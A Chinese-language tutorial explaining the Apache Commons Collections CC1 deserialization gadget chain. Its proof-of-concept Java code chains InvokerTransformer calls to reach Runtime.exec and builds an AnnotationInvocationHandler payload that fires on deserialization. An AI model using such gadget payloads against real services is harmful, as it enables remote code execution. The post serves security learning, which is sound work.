CC1

前置知识

Transformer

Transformer是一个接口类,类非常简单,只有一个待实现的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

ConstantTransformer

实现了Transformer接口,构造函数将对象赋值到iConstant成员变量,而实现的transform方法则返回iConstant变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

InvokerTransformer

实现了Transformer接口,构造函数赋值了方法名、参数类型和参数,实现的transform方法会直接执行我们传入的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}


public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}
catch ...
}

ChainedTransformer

实现了Transformer接口,构造函数接收了Transformer数组,而transform函数的功能则是逐个执行数组中元素的transform方法,并将前一个的返回值作为下一个执行transform方法的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

TransformedMap

TransformedMap用于对标准数据结构Map做一个装饰,其构造方法为protected,需要通过decorate方法间接调用构造函数

1
2
3
4
5
6
7
8
9
10
   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}


protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

其put方法可以执行transformValue方法从而调用成员变量valueTransformer的transfrom方法,在CC1中需要将valueTransformer的值设置为ChainedTransformer,从而形成一个调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
   protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}


public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

CC1简化版POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CC1 {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "touch /tmp/cmdok" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
Map supermap = TransformedMap.decorate(map, null, chainedTransformer);
supermap.put("test", "lengk0r");

}
}

掌握了前置知识后这个POC就很容易看懂了,这里简单说一下执行过程

先看第一段,这里是我们构造的需要触发的链子,把Transformer[]放入ChainedTransformer后,当调用ChainedTransformer的transform方法后,Transformer[]会逐个从第一个元素到最后一个元素执行transform,触发后的结果等价于执行 Runtime.getRuntime().exec(“touch /tmp/cmdok”);

1
2
3
4
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "touch /tmp/cmdok" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

而下面的一段就是为了触发执行链,根据前置知识使用TransformedMap.decorate方法装饰的Map在调用put方法时value值会调用transformValue从而间接调用transform方法,达到触发目的

1
2
3
HashMap<Object, Object> map = new HashMap();
Map supermap = TransformedMap.decorate(map, null, chainedTransformer);
supermap.put("test", "lengk0r");

TransformMap实现POC

在简化版中我们可以大概了解一下CC1链的触发过程,但是在现实中不会这么顺利,我只需要做两个改变

一.改变Runtime实例获取的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "touch /tmp/cmdok" }) };


改为:


Transformer[] transformer = new Transformer[] { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "touch /tmp/ok" })
};

要这样改变是因为 Runtime 类并没有实现 Serializable 接口,所以不能被序列化

你可能会问为什么这样就可以解决不能被序列化问题,首先我们可以看类的定义可以看出 Class 实现了Serializable接口,但是 Runtime 没有

1
2
3
4
public class Runtime {


public final class Class<T> implements Serializable, GenericDeclaration, Type, AnnotatedElement {

简化版POC是通过getRuntime方法获取了Runtime实例,方法实现如下

1
2
3
4
5
private static Runtime currentRuntime = new Runtime();

public static Runtime getRuntime() {
return currentRuntime;
}

很明显,这里是基于已经被创建好的实例再进行下一步操作,而实例是不能被序列化的

而在第二个方式中是操作的class,这就是能序列化和不能序列化的区别

1
new ConstantTransformer(Runtime.class)

二.改变触发方式

在简化版中采用的触发方式可谓是手动触发,标准CC1链是会自动触发的

这段在创建Map后需要放一个值,至于为什么后面会说

1
2
3
4
5
6
7
8
9
10
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
Map supermap = TransformedMap.decorate(map, null, chainedTransformer);

改为:

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "test");
Map supermap = TransformedMap.decorate(map, null, chainedTransformer);

之后将put手动触发改成获取一个对象

1
2
3
4
5
6
7
8
9
10
    supermap.put("test", "lengk0r");


改为:


Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Override.class, supermap);

因为 AnnotationInvocationHandler 并不是一个公开类,采用反射技术加载。同时这个类的构造函数也不是公开的,所以得使用 getDeclaredConstructor 方法获取,后面设置访问权限后,将之前构造的链子传入到了构造函数中创建了一个实例

1
2
3
4
5
6
构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map memberValues) {
this.type = type;
this.memberValues = memberValues;
}

创建好实例后CC1就算正式完了,后面把这个实例序列化后就可以得到CC1的payload

至于为什么这个payload会在反序列化后自动触发是因为在AnnotationInvocationHandler自带的readObject方法会在Map不是空的情况下调用setValue,就会调用chainedTransformer的transform方法点燃执行链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(java.io.ObjectInputStream s)
...

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
...

memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

目前为止AnnotationInvocationHandler可以触发cc1的功能已经被修复,所以了解就行